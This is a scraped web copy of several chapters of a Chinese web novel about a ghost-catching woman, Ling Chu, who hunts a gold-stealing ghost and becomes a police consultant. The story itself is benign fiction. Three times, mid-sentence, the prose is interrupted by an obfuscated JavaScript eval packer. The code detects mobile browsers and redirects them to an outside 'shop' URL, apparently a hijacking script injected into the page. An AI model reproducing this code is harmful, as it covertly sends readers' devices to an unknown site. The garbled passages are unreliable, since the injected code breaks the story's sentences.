一人一猫又回到了之前的公园,谁知六角亭被两橘一白三只流浪猫霸占了。 三只流浪猫能占多大地方? 凌初没有一丝犹豫,直接将打包袋放在石凳上,没等坐下来,就见三只猫弓起身,“喵呜喵呜”,冲她龇牙咧嘴。 “放肆!”凌初开口,眼中似有淡蓝光芒闪过,这是阴差鬼神之力。 不知从哪儿刮来一阵阴风,树影摇晃,叶子“簌簌”落下。 先前示威的三只猫炸毛,伏下身子,“喵喵”叫着,似在求饶。 凌初扭过头,“它们在说什么?” 豹尾轻巧地跳上石桌,傲娇回答:“大人饶命,小的有眼不识泰山,饶过我们吧。” 不是,它们就喵了几声,有这么多字儿吗? 凌初压下疑惑,拆开打包盒,荤素俱全。 将几道荤菜放到猫猫面前,“豹尾大人,请用。” 猫猫矜持地叼起一块鱼肉,细嚼慢咽。 地上三只猫,眼睛直勾勾盯着,哈喇子流了一地。 “想吃?”凌初单手撑额,勾唇问道。 三只猫忙不迭地点头。 “给我办件事,最近有没有人经常盗窃金子?如果有,带我去他去过的地方。若能找到他藏身之处,更好。” “喵(一言为定)!” “什么意思?”凌初问豹尾。 豹尾吃完鱼,舔了舔毛,说:“中。” 凌初拿起一盒鸡肉放地上,又将豹尾剩下的鲈鱼倒进去,“吃吧。” “喵喵喵!”三只猫冲上去,你争我抢,狼吞虎咽。 猫跟猫之间,区别也蛮大的哈。 “三日之后同一时辰,我在此处等候各位。”凌初说完,收拾了打包盒,丢进垃圾桶。 “豹尾大人,后会有期。” “后会有期。”黑猫左爪搭在右爪上,注视着凌初离去。 “喵喵喵(大人,我们仨没暴露吧?)”为首的白猫开口。 “不知道,她这只鬼啊,看不透。”豹尾蓦然有些惆怅。 这三只猫是他喊来的帮手,已经成精但未生灵智,是故不能口吐人言。 不过,用来找只恶鬼,足够了! 4. 二进宫 三日后,凌初在公园六角亭得到了消息。 消息是以文字形式出现的,据那只白猫解释,是豹尾给他们留了个术法,只此一次,可写人言。 他们果然认识! 先不说流浪猫把凉亭当猫窝的可能性有多大,仅凭一点,猫乃通灵之物,不可能感受不到豹尾身上的鬼差气息! 既知是鬼差,还敢向我发难?若不是早就认识,那便是嫌自己命长了。 心知肚明即可,不必点破。 凌初不动声色道了句“好。” 等三只猫离开后,凌初伸手,调动阴司派发的出逃恶鬼名单:有一恶鬼,嗜钱如命,故称“贪财鬼”。 “贪财鬼啊,乃是同道,可惜!” 当夜,新城百货大楼,人潮涌动。 当下这个时代,打工人们白天要上班,中午休息时间大都很短,有的又是单休,所以,周六的夜晚,就像是都市社畜们的狂欢。 人真多啊! 凌初费力从人群当中挤出来,目标明确,直奔二楼金银珠宝首饰柜台。 据白猫所言,那只贪财鬼,两日前曾出现在这里。 凌初从第一家金店开始,逐一排查恶鬼的气息。 迎宾的小伙儿看凌初走过来,笑眯眯迎上去,“小姐您好,需要什么首饰?” 凌初直接略过,一声不吭地在店内走了一圈,没有鬼息的味道,不是这一家! 换店! 小伙儿笑容僵在脸上,这位小姐排场真大!不像是来买东西的,倒像是公司高管过来巡查产业的! 但他很有职业操守,很快调整表情,在凌初走出金店的瞬间,说出了众所周知的那句“欢迎下次光临!” 第二家,没有! 第三家,也没有! …… 第七家,还没进店,凌初就感受到了寻鬼镯的热意和空气中残留的鬼息,“终于抓到你了!” 一进这家店,凌初差点儿被闪瞎了眼。 够金光闪闪!够金碧辉煌! 怪不得吸引那只贪财鬼。 有姑娘迎上来,“小姐您好,需要点儿什么,我可以帮您介绍?” “不用,我随便看看。” 凌初踏进这家金店,循着鬼息最浓的地方而去,站定。 店员的脸上堆起笑容,热情介绍,“小姐您需要什么?这对金钗是我们设计师的新品,纯金打造,镶嵌红宝石……” “假的!”凌初直接打断了她的滔滔不绝。 “什么?”店员愣住了,满脸不可置信,像是怀疑自己的耳朵又问了一遍,“您说什么?” 凌初抬眸,果断道:“我说,你这柜子所有的金饰都是假的!” 店员脸色大变,方才的笑容一眨眼就消失得无影无踪,双手抱臂,神情冷漠,“小姐,造谣是要负法律责任的!” “……”愚蠢的人类,连金子被调包都不知道! 凌初不欲解释,准备离开,贪财鬼得手了,不会再来。 正准备出门时,忽然见到一个富态女人带着两名警察走了过来,女人闯进金店,嚷嚷道:“警察同志,就是这家店!卖假货,欺诈消费者!我昨天在这儿买的金镯子是假的……” 这一句话很有杀伤力,店内挑选金饰的顾客闻言都将手中的物品放下了,任凭店员如何舌灿莲花,也不为所动。 更有甚者,扭头便走。 留下来的多是看热闹的。 凌初也是其一。 金店负责人得到通知,“噔噔噔”从其他地方跑过来,边跑边说:“警察同志,误会呀!误会!” 他气喘吁吁来到警察和那富态女人面前,喘了喘气才说:“警察同志,这位大姐! 我们金店,不说享誉全球,那在我们国家和东南亚,也是鼎鼎有名的! 我们怎么可能售卖假货呢?一定是有什么误会!把误会解开就好了嘛。” 警察没吭声,女人倒是率先喊了起来,“你还知道你们有名啊?要不是我之前买过你家东西,这次险些让你们蒙混过关!你自己看看,这色泽对吗?” 负责人接过女人丢过来的首饰盒,打开一看,虽然这款金镯子样式是店里在售的,但拿起来的感觉,包括色泽都不太对。 他表情很严肃,张口,“徐经理,你过来一下。” 一个青年走过来,负责人将金镯子递给他。 徐经理拿起金镯子,直接道:“重量不对。” 他又看了看首饰盒和收据、发票,肯定道:“李总,首饰盒和发票是我们店的没错,但东西不是我们的。我怀疑有人调包,需要调取商场监控录像。” “徐经理,李总,刚刚这位小姐说我这柜子金饰都是假的!”刚才那名店员指着凌初说道。 凌初:“……” 城门失火,殃及池鱼,不外如是。 “您好,请跟我们一起去看看监控吧。”年纪较长的那名警察对凌初说。 “行。” 她不说行还能怎么办呢?再进公安局一趟? 一语成谶。 警察带着富态女人、徐经理、李总和凌初一起去了商场监控室,工作人员问:“从什么时候看?” 警察没说话,富态女人抢先答:“昨天!” “不,前天。”凌初和另外一名年轻的警察同时开口。 凌初瞥了那警察一眼,个子不算太高,戴一副眼镜,整个人文文弱弱的,像个书生。 “小赵,为什么这么说?”年长警察问。 小赵推了推眼镜,一本正经地回:“孙女士的金镯子和这位女士说的全是假金饰的柜子里样式差不多,应该是同一个系列。 如果这位女士说的是真的,那么,金饰在孙女士购买之前,应该就是假的。 只不过当时应该是由于某种原因,孙女士没有细看,所以,才买到了假货。” 年长警察还没说话,孙女士,也就是那位富态女人“哎呦”一声,“小警官,你说的可太对了,就是这样! 当时我家那口子,着急去吃酒席,我没怎么看他就让店员把镯子包起来了,今天戴的时候才发现问题!” “那就从前天开始看。” “好的。” 商场摄像头虽然都是高清的,但一是距离远,二是覆盖不全,好不容易找到一个正对着金店的,画面黑乎乎的,看不太清。 但这并不影响凌初。 监控画面一帧一帧播放,前天下午三点时,一个黑衣男人走进金店,在某一个柜台前停留了很久,一直让店员接二连三地往外拿金饰,供他挑选。 偶然一抬头,凌初看到了他的模样,就是在动物园遇到的贪财鬼! “就是他。”凌初和小赵再次同时开口。 凌初:“……” 小赵:“……” 年长警察让工作人员停下,仔细看了监控录像,问:“你们凭什么认定这个人就是犯罪嫌疑人?” 小赵:“他在柜台前停留的时间太久了。” 凌初:“我见过他,去动物园时他在偷东西!” 年长警察问:“新城动物园?差点发生踩踏事故的?” “……对。”凌初有点儿心虚,弱弱应了一声。 “你的脚步流浪在天涯[2]……”一阵激昂的电话铃声响起,李总手忙脚乱地接电话,“喂?” 电话那头不知说了什么,李总暴跳如雷,“你说什么?那柜子里金饰都是假的? 那真的呢?不知道,你给我说不知道? 你知不知道那一柜子金饰多少钱? 几千万啊!我们几辈子都挣不来这些钱!别整这些没用的,赶快报警!”李总怒气冲冲挂了电话。 转而陪笑道:“孙女士,您看是需要我们赔偿呢还是给您换货?我保证,这次我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924175|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲自盯着东西,绝对不假手他人!” “看你态度这么好,换个货吧。”孙女士并没有为难他。 “好好好!您请跟我来。”李总带着孙女士走了,边走边说:“您眼光真好,这新城的金店,我们家的质量是独一份,真得没边了!不掺一丁点儿杂质!” 徐经理这时候才说:“二位警察同志,还有什么需要调查的吗?” 年长的那个说:“没有了,你们这案子金额挺大,归分局管。” “好的,那我送二位?以及这位小姐?” 凌初急忙摆手,“不用不用,我就是来逛商场的。没我事儿就先走了,再见。” 她似脚底抹油般溜了。 离开监控室后,凌初立刻去问了几个路人,新城最好的金店在哪里?叫什么名? 得到几个不同的答案,凌初决定逐一前去踩点。 李总的话给了她新的启发:贪财鬼,只爱黄金。 那么,有好金子的金店,一定是他的目标! 她只需要守株待兔! …… 又过两天,凌初将新城内的金店摸排得差不多了,正准备动手的时候,有人敲门。 一开门是张熟悉的死人脸,“凌小姐,你涉嫌参与一桩金店连环失窃案,请跟我们走一趟。” 陈遇照旧一身黑衣黑裤黑靴,打扮得比范无救还像黑无常,拉着个脸,煞气扑面。 凌初:“……” 怎么又是你! 陈遇在失窃金店附近的监控录像中看到凌初的时候,也抱有同样的想法。 怎么就那么巧? 每一家失窃的金店,她都去过,这很难不让人怀疑。 同样有此怀疑的还有与他同去的胜利路派出所民警——赵凭跃,他看到监控录像中的身影时,喃喃开口:“怎么是她?” 这引起了陈遇的好奇,“你认识她?” 赵凭跃点头,“陈队,上周百货大楼有一家金店的金饰被调包,是我们先出的警。 后来由于金额较大,案子转给了分局。这位小姐,当时也在现场。 并且,她看出金店的金饰都被掉包了,很厉害。” 陈遇立刻拨了个电话,“张小曈,凌初住在哪儿?” “啊?”张小曈被问懵了,一时没反应过来。 “凌初!上周在城中村抓齐大威那个见义勇为的!” “哦哦,陈队,凌小姐她应该是去人才驿站了,我跟她说了劳动路那个。发生什么事了吗?”张小曈问道。 “不该打听的别打听。”陈遇挂了电话。 “赵警官,我们俩走一趟吧?”他对赵凭跃说。 “去哪儿?” “去确定一下她是不是嫌疑人!”陈遇伸手,点了点电脑屏幕,正是凌初回眸的身影。 …… “陈警官。”凌初随意靠着大门,看到陈遇身后的另一个人,巧了,也是熟人。 “哦,还有赵警官,凭什么断定我是嫌疑人呢?”她神色平静,反问两人。 “……”赵凭跃没有说话,看了一眼陈遇。 陈遇盯着凌初看了半晌,这女人理直气壮得很,难道真不是她? “新城从上周开始,陆续有七家金店失窃,数额高达千万。 而在这些金店的监控录像中,有五家的录像,都拍到了你。 况且,赵警官跟我说你曾一眼辨认出金店柜台的金饰真假,我想,我们有充分的理由请你协助调查。 所以,凌小姐,请跟我们走一趟。”陈遇说完,做了个“请”的动作。 那架势,仿佛凌初一旦拒绝,他就准备直接拿手铐把她拷上带走。 鬼在屋檐下,不得不低头啊。 凌初老老实实跟陈遇走了。 二进宫,凌初很淡定。 经过一间讯问室的时候,凌初右腕寻鬼镯骤然发烫! 5. 讯问 有恶鬼! 凌初指尖舞动,迅速画了个“困”字,轻轻拂过那间讯问室的门,一点儿银光闪烁,而后隐没。 凌初被带进一间讯问室,距离那扇关着恶鬼的讯问室仅有数米之隔,她分出一半神识留意恶鬼动向。 “凌小姐,解释下你为什么多次出现在案发现场?”陈遇坐到椅子上,身子微微靠后仰。 赵凭跃坐到陈遇旁边,十分自觉地打开电脑开始记笔录。 讯问室的样子跟上次的房间很不一样,四面都是软包,没有窗户,灯光昏暗。 凌初坐的椅子也很特别,前面有一个挡板,翻上来刚好能卡住椅子,把人困住。 原来这才是现在的衙门审问人的地方,凌初心想。 “我是去抓犯罪嫌疑人的。”凌初一字一句道。 陈遇险些以为自己听错了,“你说什么?” 赵凭跃敲了敲键盘,重复道:“她说她是去抓犯罪嫌疑人的。” 陈遇扭头看了眼赵凭跃,又问凌初:“……理由?” 凌初摆出一副大义凛然样子,说:“从小我的梦想就是当一名警察,行侠仗义,为人民服务……” “咚咚!”陈遇敲两下桌子,“说重点。” “好叭,其实我就是想碰碰运气,万一抓住了小偷,交给你们还可以得奖金。对了,陈队长,我上次见义勇为的奖金领导批下来了吗?” “……”陈遇没说话,半晌才问:“你很缺钱吗?” 凌初猛点头,可怜兮兮地回答:“缺啊!陈队上次你给我那五百块钱都已经花光了。再找不到工作我就要睡大街了……”她喋喋不休。 “停。”陈遇一手竖起,指向另一只手掌心,做了个手势,“那你为什么去那几家失窃的金店?” “那几家金店金饰所用金子的质量,成色极好,均属上乘。 不知道你发现没有,陈队。迄今为止,遇窃的金店,地位都是在新城数一数二的,名气极大。” 陈遇打开手机搜索“新城推荐金店。” 凌初继续说道:“所以我推测,这个人对金子有特殊的执念,只要成色好的金子。那么,只要确定新城究竟有多少家真材实料的金店,除去小偷已经得手的,剩下的金店,便是他接下来的目标。 只不过,每次我都落后一步,才没有抓到人。” 陈遇看着搜出来的“新城金店排行榜”,神情略微有些复杂,还真让她给说对了。 推荐榜上有十家金店,其中七家的金饰都被人掉包了,还剩下三家,如何确定犯罪嫌疑人的下一个目标?还是调配警力,在三家金店都派人蹲守? 有两家金店是在红旗分局的辖区,最后一家在牧野区,如果把凌初的话跟他们说了,他们会不会相信呢? 极度痴迷黄金的犯罪嫌疑人,听上去就很匪夷所思! 陈遇忽然一个激灵,自己竟然被凌初的逻辑说服了? 明明她只是推测,没有任何证据。 “你觉得他下一个目标是哪家金店?”陈遇拿着手机走到凌初身边,放到她面前。 凌初看着地图上的三个标记,心道:我怎么知道是哪家?不过嘴里却问:“这三家哪家金子好一些?” “都差不多。” 凌初抬头,眼神中是明晃晃的怀疑,你一个警察说这么模棱两可的话好意思嘛? 她又换了一个问题,“晚上八点以后,哪家金店的人流量最大?” 贪财鬼调包金饰的手段很简单,幻化出一模一样的金饰,趁着人多,店员忙不过来,让店员挨个儿把金饰拿出来,它试戴或者挑选的时候,便将幻化的金饰与真品正大光明地调换。 至于活人为什么看不出来?那当然是因为贪财鬼使了障眼法。 阴司诸鬼,除天生鬼神外,其余阴差均是修炼有成被破格提拔的各类鬼魂。 然而并不是所有修炼的鬼魂都是想当阴差的,不想当阴差的多的是! 老老实实修炼的,阴司睁一只眼闭一只眼,放任不管;修炼有成意图造反的,大有鬼在。阴司对这些恶鬼毫不手软,直接派阴差们缉拿,之后再由判官司四大判官之一的钟馗大人,依据恶鬼所犯罪行判处相应刑罚。 十八层地狱关押的除了生前作恶、不得往生的鬼魂,另一个用处,便是为这群恶鬼准备的刑狱。 这只贪财鬼,估计有点儿修为。 陈遇还在搜索,一旁记笔录的赵凭跃给出了回答,“城里十字那家。” “为什么?”凌初和陈遇同时问。 赵凭跃愣了一下,似乎没想到二人这么默契,有些不好意思地说:“我妈……比较喜欢买金饰,她最常光顾的,就是城里十字那家金店。但她向来是工作日早上过去,说周末和晚上人太多了,不好挑。” 哦——,凌初恍然大悟,同道中人啊! 陈遇:“……” “凌小姐,虽然你说的很有道理,但是我不能仅凭一个猜测就上报。新城金店数十家,凭什么就是你说的那几家呢?”陈遇坐回椅子上,再度开口。 凌初:“……” 真是对牛弹琴! “行叭,陈警官,你刚刚说我出现在好几家店的监控录像中,对吧?” “不错。” 凌初深吸一口气,“那么请问,你们就没在失窃金店的监控录像中找到小偷吗?同一张脸应该很好识别吧?” “犯罪嫌疑人每次装扮得很严实,戴帽子和口罩,而且特意避开了摄像头,只能拍到模糊的影子。”陈遇对凌初说。 赵凭跃在心里附和:要不是你大大咧咧,直接暴露在监控视频里,我们也找不到你! “你们就不会按他样子找吗?满大街摄像头,它肯定在其他地方出现过。”凌初没多想,顿觉意外,这帮子警察连那只恶鬼长什么样子都不知道? “你知道他长相?”陈遇敏锐地注意到凌初话里暗含的意思。 “我知道啊。不是跟你们说了,我在动物园见过它。” 陈遇:“……” 赵凭跃:“……” “还记得具体模样吗?能否复述出来?我去联系画师。”陈遇又问。 “不用找画师。我可以画出来,麻烦拿下纸笔。” 赵凭跃顺手从自己笔记本上撕了两张纸,又去外面拿根铅笔,递给凌初。 凌初把隔板翻上来,铺平纸,直接“刷刷刷”描绘那只贪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924176|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 财鬼附身之人的面容。 只三两分钟,一个青年男性的肖像跃然纸上,栩栩如生。 “喏,好了。” 两名警官面露惊讶,这么快?局里的画师画肖像也得十分钟起步,她这三分钟就画好了? 凌初把纸举起来,肖像正对着陈遇和赵凭跃,“小偷就长这样。” 纸上肖像是一名男性,三十岁左右,脸型瘦削,颧骨极高,眉毛很浓,眼睛却不大,额头左侧有道新月形的疤痕,面貌特征十分明显。 陈遇接过这张纸,立马走出讯问室大门,找人比对。 留下凌初和赵凭跃面面相觑。 “我说赵警官,你不是派出所的吗?怎么跟陈队在一起?”凌初没忍住,率先开口。 “哦,陈队把我借调过来了,因为百货大楼那个案件我是第一接触现场的警方人员。” “借调?什么意思?” “当某个单位很忙的时候,会从其他同级单位或者下级单位借一些人过来帮忙,这就是借调。同样的情况,还有外聘顾问……”赵凭跃给凌初科普了一些行政管理知识。 “等等,这个警局顾问是什么意思?”凌初打断赵凭跃。 “警察办案过程中,通常会遇到各种复杂案件。有一些比较专业的事情,比如要推测一些罪犯的行为动机,会请教心理学专家,这类人士跟警察有长期合作,我们就会跟他们签顾问合同,这类人就称为‘警局顾问’。” 听到此话,电光石火间,凌初忽然有了个绝妙的主意! 对啊,用人捉鬼也不是不行! 如果我成为警局顾问,那是不是就可以利用公安局系统来找那些恶鬼。 恶鬼附身恶人,恶人自然受到警察的监控。 我真是太聪明了! “警局顾问有什么要求?” “额,在某些方面非常精通吧,对侦破案件有帮助。”赵凭跃也不是很清楚,只是在公大上学时听说很多老师是警局顾问,新城公安系统招收顾问的要求,他并不清楚。 “吱呀”一声,陈遇开门进来,“凌小姐,谢谢你的帮助,你可以回去了。” “抓到小偷了?” “没有,我们会部署行动的,你画的肖像很有帮助,经过技术人员甄别,已经锁定了犯罪嫌疑人。” “那你们可快点,估计它今晚就会行动。” 陈遇看了看手表,现在已经是晚上8点了,按照犯罪嫌疑人的作案频率,今晚他确实有可能行动。 “我知道了,谢谢,我带你出去。” 凌初闻言起身,跟着陈遇往外走去,经过那间关着恶鬼的讯问室时,停了下来。 “陈队,问你个问题?” “什么?” “张小曈是不是在里面?”凌初话虽是问句,但语气十分确信。 “我不清……” 陈遇话还没说完,讯问室门就被打开了,张小曈抱着电脑出来,愣住,“哎?陈队你怎么在这儿?”再一看,“哎?凌初姐,见义勇为的奖金批下来了?” 陈遇没说话。 凌初双手抱臂,倚着墙,笑着问:“陈队,你觉得我能当你们警局的特聘顾问吗?” 6. 略施小计 “陈队,你觉得我能当你们警局的特聘顾问吗?” 陈遇:“……”毛遂自荐都荐到公安局了,看来是真缺钱。 赵凭跃:“……”原来她打得这个主意! “啊?什么顾问?”唯一处在状况外的张小曈疑惑道。 凌初没回复她,只看着陈遇说:“我鼻子比较灵,能依据人的气息识别人。这个,对你们破案,应该挺有帮助的吧?” “……万一你是蒙对的呢?” “不如今晚抓捕行动带我去?我记得小偷的气息。” “……等我去汇报。”陈遇转身上楼。 …… 魏丽听了陈遇的汇报,没露出什么表情,要说不惊讶,那是假的。但要说是真的,那就有些不可思议了。 “你觉得呢?陈遇。” “第一次跟凌初见面,就是在齐大威的行凶现场,她跟齐大威发生搏斗,凌初胜。 据受害人夫妻所说,齐大威当时双眼漆黑,像是被什么东西附身了一样,力气极大。这点我咨询过精神科医生,她说可能是创伤性后遗症,吃些凝神安心的药就行。 但是,我们都知道齐大威练过武,杀人手法暴虐,我不认为凌初一个人可以制服他。 再者,就是这次金店连环失窃案,也出现了凌初的身影,这太巧合了,我认为她对我们有隐瞒。” 魏丽听后,点头,“不错,这两起案件是很巧合。”她站起来,绕过办公桌,“可疑人员更要在我们的监控下。走,一起去看看这小姑娘,怎么凭借气息识人!” “是。” …… 凌初被人带到一个空房间坐下,用黑布蒙上双眼。 紧接着,陈遇站到凌初身边,用一副公事公办的口吻说:“凌小姐,接下来会有五个人,依次走过,每人在你面前停留1分钟。五分钟后,给你十分钟,找出这五个人经过你的顺序。” 凌初唇角勾起,自信道:“不用那么长时间,每人停留十秒钟,一分钟后我说出顺序。” 陈遇看向魏丽,魏丽点头,他才说:“好。” 测试开始。 第一个人进来。 男性,二十五岁左右,刚吃过味道极重的食物,有点臭臭的。 这味道,不止凌初能闻到,在场所有人,都朝那人投去十分嫌弃的眼神。 你小子行啊,敢在魏局和陈队面前光明正大作弊! 那人微微一笑,不觉得尴尬,反而昂起胸膛,一脸骄傲。 ??? 这一脸得意是什么鬼?被螺蛳粉臭傻了吧? 那人却一脸“等着瞧好吧”的神情。 十秒后,下一个人进来,身上同样带着一股螺蛳粉味儿。 众人明白了,合着这几个刚刚一起去吃了螺蛳粉! 等四个人都走完后,轮到第五人时,魏局伸手,指了指四个人中的一人,示意他去站到凌初面前。 其余人瞪大了眼睛,果然姜还是老的辣哇! 没有人注意到凌初唇角的一点微末笑意。 人真有意思! 所有人走完后,五个人站成一排,等着凌初决定顺序。 凌初解开眼上黑布,先适应了下光线,然后起身,看向那一排身高体重都差不多的男警察,哦,味道也差不多,都臭臭的。 蒙上眼睛,也并不影响凌初的视力,她能清楚“看到”每个人的动向。 再者,凌初所谓的“气息”,其实是魂魄的气息,每个人的魂息都是不一样的。 所以,这个小测验,对凌初来说,易如反掌。 她走到第一个男警察身边,道:“第一位。” 然后继续走到第二位,道:“第三位。” 继续走,“第四位。” “第二位。” 凌初站到最后一个人面前,笑嘻嘻问:“警察同志,你们是刚从茅坑出来吗?” “噗嗤!”有人闷笑出声。 紧接着,“哈哈哈哈……”笑声瞬间炸响了整间屋子。 隔壁补觉的人被这笑声惊醒,猛地坐起,低声暗骂了一句“草!” 第五位脸涨得通红,说:“我们去吃了螺蛳粉,就跟臭豆腐一样,闻着臭,吃着香。” “哦,哪一家?改天我也尝尝。”凌初答。 “出大门右转100米路西‘柳州螺蛳粉’店。” “好。” 笑声渐渐止住,魏丽问凌初,“凌小姐,确定顺序了吗?” 凌初点头,“当然!第五位就是——”她故意拖长声音。 所有人的心都被吊了起来。 “他!”凌初指着站位为一,顺序也为一的男警察。 屋内一静,落针可闻。 “哇,好厉害!”张小曈惊叹,率先鼓掌。 “啪啪啪……”所有人都开始鼓掌,掌声连绵不绝。 凌初颔首。 “小曈,去找内勤,拟顾问合同。聘期一年,薪资待遇按照你的标准,无试用期。”魏丽拍板儿发话,临走时看了陈遇一眼,陈遇点头。 “是!” “我还有事,先走了。” “魏局慢走——” 众人尾音悠长,突然像被人直接拿刀断开似的,齐齐消音,静的出奇。全都昂首看着门口将近一米九高、气势十足的白衣女人。 救命啊,大魔王怎么在这儿? 她没回家睡觉? 不是才通宵了一夜? 精力这么充沛? 瞧她眼下乌青,不会是刚被我们吵醒吧? …… 众人眼底官司打得火热,魏丽见状,走得更快了。 张小曈第一个反应过来,大声道:“报告陈队,刚刚我还有事情没做完,先去忙了!” 脚底生风般离开办公室,经过白衣女人面前时讨好地笑了笑,“霍熹姐,刚醒啊?” 霍熹瞟了一眼她,淡淡说了句,“对。” 张小曈脸色一变,迅速抱紧自己双臂,侧着身子越过房门,灰溜溜走了。 其余人见状,纷纷效仿,屋内顿时作鸟兽散,只剩下霍熹、陈遇和凌初三人。 “新人?”霍熹下巴微昂,问陈遇。 陈遇面无表情点头,跟凌初介绍道:“霍熹,红旗分局法医。” 凌初走近她,伸手,“你好,红旗分局特聘顾问,凌初。” 霍熹闻言扬眉,眼中倦色淡了几分,握住凌初的手,“你好,凌顾问。” 声音清灵灵的,像初春刚刚融化的冰川溪流,又冷又冽。 两人的手一触即放,互相用眼神打量着对方,末了,都露出一副很满意的神色。 是个有意思的人!/有意思的活人! 陈遇看了看表,已经八点过二十,开口催促:“凌初,我们出发。” “好。霍法医,明天见。”凌初微笑。 “明天见。” …… 城里十字。 晚上九点整,布控完毕。 凌初和张小曈挽着胳膊,直奔金店。 陈遇和其余人负责外围。 赵凭跃也参加了行动,他站在陈遇身边,盯着二人离去的背影,轻声问:“陈队,她没问题吗?” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16924177|192703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,所以需要放在身边。” “……”赵凭跃没说话,深吸了一口气,神情凝重,他有些担心两个女生。 这家金店规模中上,共有九层,其中六层是柜台,剩余三层,只是装饰。 金店的外观做成了古代那种阁楼式样,红木黛瓦,三楼还搭了一个戏台子,两侧绑了红绸,乍一看挺唬人的。 金店,或者称之为“金楼”更合适。 此时正咿咿呀呀唱着昆曲《桃花扇》,两名演员扮相不错,身段儿也好,凌初忍不住多看了两眼。 张小曈紧紧挽着凌初胳膊,这是她第一次出外勤,紧张与兴奋并存。 …… 金楼内人头攒动,声音嘈杂,凌初屏气凝神,仔细搜寻空气中的鬼息。 “陈队陈队!”陈遇耳麦响起。 “怎么了?” “你们那边有什么动静吗?” “暂时没有……不对!所有人,立刻封锁金楼出入口,拉起警戒线,防止造成踩踏事故!”陈遇迅速道,然后冲向金楼,“赵凭跃,你指挥外面。” 三分钟前,凌初和张小曈登上了三楼。 上楼的瞬间,凌初右腕寻鬼镯无风自动,热意弥漫。 她松开张小曈的手,侧头耳语几句,张小曈点头,匆匆下楼,去找金楼负责人。 凌初站在楼梯口,迅速布下缚鬼阵,而后静静等待。 约莫一分钟后,《桃花扇》一停,金楼内忽然响起了广播声,“Ladiesandgentlemen,pleasekeepquietandleavehere,pleasekeepquietandleavehere……” 有人反应过来,先看周围,发现有很多人围了过来,看着像是警察。 我去,今儿是走了狗屎运吧,竟然碰上警察出现场! 快跑快跑。 反应过来的顾客抓紧时间溜了,没反应过来的,也被这动静弄得莫名其妙,没了购物的心情,放下饰品便离开了。 当然也有不配合的人,负责人立刻喊了两个保安,把人从一楼架出去。 那人一出门就看到不远处的警车,登时闭嘴。 起初凌初还没意识到广播里说的什么,但看到顾客都陆陆续续下楼,立刻明白这是张小曈释放的信号。 她勾唇一笑,一脚踏进三楼。 陈年老鬼,绝对不懂这广播的意思! 凌初走得缓慢。 角落柜台沉迷掉包金饰的贪财鬼完全没有注意到周围动静。 金楼店员们皆是一脸懵逼。 等顾客散得差不多了,广播里又换了一句话,“Allstaffmembers,pleaseremaincalmandleaveinanorderlymanner.Ifthereisapersoninfrontofyou,pleasestaycalm,thepolicehaveenteredthestore.Pleasestaycalm.” 店员反应过来,立刻有序离开。 只有那位倒霉的女店员,笑容僵硬地看着面前包裹严实的顾客,机械地往外拿各种金饰。 怎么回事?他们怎么人走了? 这位顾客怎么不走? 不会是杀人犯吧,还是抢劫犯? 呜呜呜……妈妈救我! 突然,那位顾客动作停住,他感受到了身后传来的与众不同的气息。 阴司的鬼! 凌初停下脚步,站在数米之外,轻蔑地笑道:“阁下这感知,可不太行啊。” 7. 贪财鬼 “阁下这感知,可不太行啊。” 凌初话音刚落,那位女店员以迅雷不及掩耳之势,立刻绕过柜台,慌不择路跳上戏台,抓住红绸一跃而下。 “哎!别!”凌初忙叫道,这姑娘也太莽了。 金楼外传来一声声惊呼,这可是三楼哇! 所幸红绸够长、够结实,只见那女店员紧紧拉着红绸朝下坠去,有惊无险落到地上。 人还未站定,她一个趔趄,直接瘫到地上,大汗淋漓,喘着粗气:“呼呼——太刺激了,呼呼——” 陈遇正是看到此景才奔向金楼。 黄色警戒线绕着金楼围了一圈,警察们站在警戒线附近,疏导群众。 “同志,麻烦让一让,不要挡路。” “这位先生,请不要拍照,谢谢配合。”男人不情不愿地将手机相册中的图片删掉。 “……” 陈遇抬起警戒线通过,大步踏进金楼,眼睛巡视了一圈,精准锁定张小曈的身影,走到她面前问:“凌初呢?” 张小曈正在跟金楼负责人商讨下一步行动,看到陈遇过来,立刻跟负责人说了声“抱歉”。 没等开口说话就听陈遇这么一问,她愣愣地答了句:“三楼。” 陈遇立刻往楼梯口走。 “哎,陈队!凌初姐说不要我们上去,她一个人就可以搞定!” 陈遇边上楼边道:“她是顾问。文职!怎么能单独面对犯罪嫌疑人?” “……”张小曈张口欲言,楼梯处陈遇身影已经不见了。 不是啊,队长你忘了?凌初姐前几天单枪匹马撂倒了连环杀人犯哎! 张小曈站也不是,走也不是,孤零零站在一楼中央,“唉。”有没有人关心一下新同志啊!她第一次出现场哎,让她孤军奋战不太好吧。 